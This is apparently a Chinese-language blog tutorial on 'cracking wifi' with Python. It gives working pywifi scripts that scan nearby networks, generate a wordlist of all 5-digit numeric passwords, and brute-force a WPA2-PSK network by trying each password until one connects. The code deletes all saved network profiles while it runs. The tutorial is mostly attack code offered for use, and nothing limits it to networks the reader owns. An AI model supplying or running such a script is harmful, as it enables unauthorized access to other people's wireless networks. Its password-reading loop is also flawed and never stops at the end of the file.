python应用-----破解wifi

1、程序需要的模块

pywifi

2、第一步

创建一个wifi.py程序

import pywifi
from pywifi import const  #引用一些常量
#判断是否已经连接到wifi
def gic():
    #创建一个无线网卡
    wifi=pywifi.PyWiFi()
    #获取到第一个无线网卡
    iface=wifi.interfaces()[0]
    #列表
    # print(iface.name())
    #打印网卡连接状态
    if iface.status()==const.IFACE_CONNECTED:
        print("已连接")
    else:
        print("未连接")



# gic()
# 扫描附近wifi
def bies():
    wifi=pywifi.PyWiFi()
    ifaces=wifi.interfaces()[0]
    # 扫描wifi
    ifaces.scan()
    # 获取扫描结果
    result=ifaces.scan_results()
    for data in result:
        print(data.ssid)
    # print(result)


bies()

python应用-----破解wifi_第1张图片

 

程序实现创建一个无线网卡(注:台式电脑没有自带无线网卡 程序可能报错)

扫描并显示附近wifi

第二步:创建密码本

密码本可以在网上下载,也可以自己写

import itertools as its
# 迭代器

words="1234567890"
r=its.product(words,repeat=5)
# 保存到文件中
dic=open("pass.txt","a")
for i in r:
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()

生成的密码本

 

python应用-----破解wifi_第2张图片

第三步:

# 导入模块
# 抓取网卡接口
# 断开所有wifi
# 读取密码本
# 设置睡眠时间
# 测试连接
import pywifi
from pywifi import const
import time

# 导入模块
# 抓取网卡接口
# 断开所有wifi
# 读取密码本
# 设置睡眠时间
# 测试连接

# 测试连接 返回连接结果
def wificonnect(psd):
    # 抓取网口
    wifi=pywifi.PyWiFi()
    iface=wifi.interfaces()[0]
    print(iface)
    #断开所有连接
    iface.disconnect()
    # time.sleep(1)
    wifistatus=iface.status()
    if wifistatus==const.IFACE_DISCONNECTED:
        # print("未连接")
        #创建wifi连接文件
        profile=pywifi.Profile()
        #wifi名
        profile.ssid="aemaer"
        #网卡开放
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #密码
        profile.key=psd
        print(psd)
        #删除所有WiFi文件
        iface.remove_all_network_profiles()
        #设置新的连接文件
        tep_profile=iface.add_network_profile(profile)
        iface.connect(tep_profile)
        time.sleep(0.5)
        if iface.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False

    else:
        print("已连接")

# wificonnect()


def read_password():
    print("开始破解:")
    path="D:\\PyCharm 2017.2\wifi破解\pass.txt"
    file=open(path,"r")
    while True:
        try:
            passStr=file.readline()
            # print(passStr)
            bool=wificonnect(passStr)
            if bool:
                print("密码正确",passStr)
                break
            else :
                print("密码不正确",passStr)
        except:
            continue
read_password()

python应用-----破解wifi_第3张图片

程序还可以进一步完善

 

 

你可能感兴趣的:(python)